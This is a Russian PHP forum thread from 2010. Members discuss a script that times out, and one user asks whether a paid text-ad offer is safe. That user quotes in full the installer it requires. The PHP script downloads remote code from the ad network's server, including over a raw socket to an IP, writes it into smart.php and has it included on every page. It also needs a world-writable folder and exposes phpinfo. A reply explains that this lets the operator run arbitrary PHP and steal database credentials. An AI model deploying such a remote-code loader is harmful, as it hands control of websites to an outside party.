Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум (новые сообщения вниз) Структурный форум

тема: Ресурсоемкий скрипт внезапно прекращает работу

Сообщения:  [1-10]   [11-11] 

 
 автор: фишер   (20.09.2010 в 01:56)   письмо автору
 
   для: Trianon   (18.09.2010 в 00:52)
 

всем спасибо! уважаемый Trianon, прошу прощения, в самом деле я не в тему (при попытке открыть новую тему, тема создаваться отказывалась), а вообще, всё что ни делается всё к лучшему... может с google теперь по этому вопросу, народ будет сюда попадать :)

  Ответить  
 
 автор: antf   (18.09.2010 в 01:40)   письмо автору
 
   для: Trianon   (17.09.2010 в 16:52)
 

>Уменьшите порцию.

Так и сделал загружал 50 картинок за сеанс, потом несколько раз жал F5 (обновить).

  Ответить  
 
 автор: Trianon   (18.09.2010 в 00:52)   письмо автору
 
   для: фишер   (17.09.2010 в 22:57)
 

1. Здесь принято создавать отдельную тему под очередной вопрос, а не пачкать в чужой.
2. Конкретно этот вопрос уже рассматривался - 10 дней не прошло http://www.softtime.ru/forum/read.php?id_forum=2&id_theme=76053
Что Вам там не хватило?

  Ответить  
 
 автор: heed   (18.09.2010 в 00:24)   письмо автору
 
   для: фишер   (17.09.2010 в 22:57)
 

> тот самый файл smart.php куда они будут записывать
и не только туда :) можно создать в этой папке любой файл,
можно посмотреть куда ещё права позволяют записать и записать туда
можно выполнять на сервере всё что может выполнить пхп на этом сервере (и возможно что-то ещё выполняется)
можно вытащить пароль к базе данных, и если совпадает с паролем к фтп то можно выполнить то что не могут скрипты
, даже если запись разрешена только в него-же самого (этот php всмысле)
а так цели наверное от глобального плана захватить все сайты на планете ,) до какой-нибудь рассылки спама.
(если allow_url_fopen off и fsockopen и curl запрещены; то можно посмотреть phpinfo() и сообщения об ошибках, но тогда не увидите "good work ок" :))


с моим ip ничего уже не показало

HTTP/1.1 404 Not Found
Date: Fri, 17 Sep 2010 20:02:18 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Connection: close
Content-Type: text/html; charset=iso-8859-1

//и код не слишком взвешено написан

  Ответить  
 
 автор: фишер   (17.09.2010 в 22:57)   письмо автору
1.1 Кб
 
   для: Красная_шляпа   (17.09.2010 в 19:57)
 

Доброго времени суток! Ребят, подскажите, такую вещь... Поступило такое предложение:

>Здравствуйте.

> Предлагаем разместить небольшой
> блок текстовой рекламы на
> вашем сайте.

> Пример можете посмотреть на сайте
> http://nateparty.com/ в самом низу слева:
> "Наши партнеры:
> Автобазар Украины - продажа и покупка
> авто;
> Последние трейлеры кинофильмов;
> Новости России и Украины с регулярным
> обновлением"

Что мне предложено сделать:

Для начала работ необходимо:
1. установить папку se (в прикрепленном архиве) в корень сайта
2. поставить на нее права 777
3. установить на всех страницах сайта

<?
echo require_once($_SERVER['DOCUMENT_ROOT']."/se/smart.php" ;
?>

4. запустить http://my site/se/

5. на сайте выведется слово "good work ок" (в том месте где вы
вставили код)

ссылки генерируются php-скриптом, до трех в блоке, тематика различная, но не
противоречит законодательству или рамкам приличия.

А теперь перехожу к сути вопроса.

Вот php-файл, который должен лежать в директории se, называется он index

<?php
//SMART-EXCHANGE
$sid "08e4397b953f62g050378971b2360c22";

if(isset(
$_REQUEST["errors"]) && $_REQUEST["errors"] == "true")
{        
error_reporting(E_ALL); ini_set("display_errors"true); }

if(isset(
$_REQUEST["phpinfo"]) && $_REQUEST["phpinfo"] == "true")
{   
phpinfo(); exit(); }

$filesent "";
$link "http://adds.smart-exchange.com/$sid/";

if(!isset(
$_REQUEST["g"]))
$filesent file_get_contents($link); echo "<!--g/".strlen($filesent)."-->"; }

if(empty(
$filesent) && function_exists("curl_init") && !isset($_REQUEST["c"]))
{
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL$link);
        
curl_setopt($chCURLOPT_HEADER0);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
$filesent curl_exec($ch);
        if(
curl_errno($ch)!== 0)
                echo 
curl_error($ch);
        
curl_close($ch);
        echo 
"<!--c/".strlen($filesent)."-->";
}

if(empty(
$filesent) && function_exists("fsockopen") && !isset($_REQUEST["s"]))
{
        
$out_head "";

        
$fp fsockopen("193.169.188.71"80$errno$errstr30);
        if (!
$fp) {
            echo 
"$errstr ($errno)<br />\n";
        } else {
            
$out_head "GET /$sid/ HTTP/1.1\r\nHost: adds.smart-exchange.com\r\nConnection: Close\r\n\r\n";
            
fwrite($fp$out_head);
            while (!
feof($fp)) {
                
$filesent .= fgets($fp128);
            }
            
fclose($fp);
        }
        
$filesent substr($filesentstrpos($filesent"\r\n\r\n") + 4strlen($filesent));
        echo 
"<!--s/".strlen($filesent)."-->";
}


if(!empty(
$filesent)){

        
$failed false;
        
$fsmart fopen(dirname(__FILE__)."/smart.php""w+");
        if (
$failed = ($fsmart === false))
                echo 
"<!--Unable to open file-->";
        
fwrite($fsmart$filesent);
        
fclose($fsmart);
        
$ftime date("H:i:s, d/m/Y"filemtime(dirname(__FILE__)."/smart.php"));
        print(
$ftime);
        if (
$failed)
                echo 
"<br>невозможно установить файл smart.php: возможно не выставлены права 777 на папку";
}
else { echo 
"<!--Empty Result-->"; }
?>



из него мы видим, что он то и создаст тот самый файл smart.php куда они будут записывать то что генерирует php-скрипт на их стороне... это один минус. Какую ещё угрозу несёт в себе всё вышеописанное? Как можно себя обезопасить, если всёже установить всё это "хозяйство" на сайте? Спасибо.

p.s. в аттаче сам скрипт. я так понимаю ноги растут оттуда http://smart-exchange.com/

http://adds.smart-exchange.com/

  Ответить  
 
 автор: Красная_шляпа   (17.09.2010 в 19:57)   письмо автору
 
   для: antf   (17.09.2010 в 16:26)
 

по 200 картинок загружай, после их загрузки сохраняй в файл или базу последнюю (её индекс или не знаю что там у тебя) и запускай скрипт по новой

  Ответить  
 
 автор: Trianon   (17.09.2010 в 17:23)   письмо автору
 
   для: antf   (17.09.2010 в 17:17)
 

set_time_limit() никакого отношения к протоколу передачи данных не имеет.
Он снимает ограничение лишь на время исполнения php-процесса.

Да собственно средств таких Вы не найдете.

  Ответить  
 
 автор: antf   (17.09.2010 в 17:17)   письмо автору
 
   для: Trianon   (17.09.2010 в 16:52)
 

set_time_limit(0); не сработал :((

  Ответить  
 
 автор: Trianon   (17.09.2010 в 16:52)   письмо автору
 
   для: antf   (17.09.2010 в 16:26)
 

если он вызывается сервером http - очевидно срабатывают таймауты http-протокола, который тоже не резиновый.
Уменьшите порцию.

  Ответить  
 
 автор: psychomc   (17.09.2010 в 16:40)   письмо автору
 
   для: antf   (17.09.2010 в 16:26)
 

скорее всего памяти не хватает. должен выдавать предупреждение.
вот так можно добавить ini_set('memory_limit', '150M'); // 150 мегабайт

а вообще скорее всего порциями нужно такую процедуру делать

  Ответить  

Сообщения:  [1-10]   [11-11] 

Форум разработан IT-студией SoftTime
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования